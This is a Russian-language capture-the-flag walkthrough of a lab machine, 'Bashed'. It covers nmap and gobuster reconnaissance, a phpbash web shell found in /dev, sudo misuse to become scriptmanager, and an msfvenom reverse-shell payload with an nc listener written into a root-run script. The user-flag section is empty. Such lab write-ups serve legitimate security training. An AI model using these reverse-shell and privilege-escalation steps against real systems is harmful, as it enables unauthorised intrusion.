Обзор сервисов
Машине присвоен IP-адрес 10.10.10.68
, проведем стандартное сканирование с помощью nmap
:
$ nmap -sV -sC -Pn -oN 10.10.10.68 10.10.10.68
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site
С помощью gobuster
обнаруживаем каталог /dev
:
$ gobuster dir -u http://10.10.10.68 -w /opt/wordlists/seclists/Discovery/Web-Content/directory-list-1.0.txt -x php -t 20
...
/dev (Status: 301) [Size: 308] [--> http://10.10.10.68/dev/]
...
В этом каталоге обнаруживаем файлы phpbash.php
.
Флаг пользователя
Повышение привилегий
Проверим, что можно делать с помощью sudo
.
$ sudo -l
Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL
Мы можем запускать sudo
от пользователя scriptmanager
без пароля.
$ sudo -u scriptmanager ls /scripts
total 16
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Jun 2 2022 .
drwxr-xr-x 23 root root 4096 Jun 2 2022 ..
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
-rw-r--r-- 1 root root 12 Oct 2 09:47 test.txt
$ sudo -u scriptmanager -i
Мы можем редактировать файл /scripts/test.py
. Сгенерируем реверс-шелл, запустим слушателя и подождем.
msfvenom -p cmd/unix/reverse_python LHOST=10.10.14.7 LPORT=1235 -f raw | base64 -w 0
rlwrap nc -lnvp 1235
Нужно скопировать из файла shell.py
шеллкод между двойными кавычками и вставить его в /scripts/test.py
:
echo "shellcode" | sudo -u scriptmanager tee /scripts/test.py
После чего подождать и поймать подключение.
Флаг суперпользователя
$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:50:56:b9:42:f7 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.68/32 brd 10.10.10.255 scope global ens33
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:42f7/64 scope global mngtmpaddr dynamic
valid_lft 86391sec preferred_lft 14391sec
inet6 fe80::250:56ff:feb9:42f7/64 scope link
valid_lft forever preferred_lft forever
$ cat root.txt
cc4f0afe3a1026d402ba10329674a8e2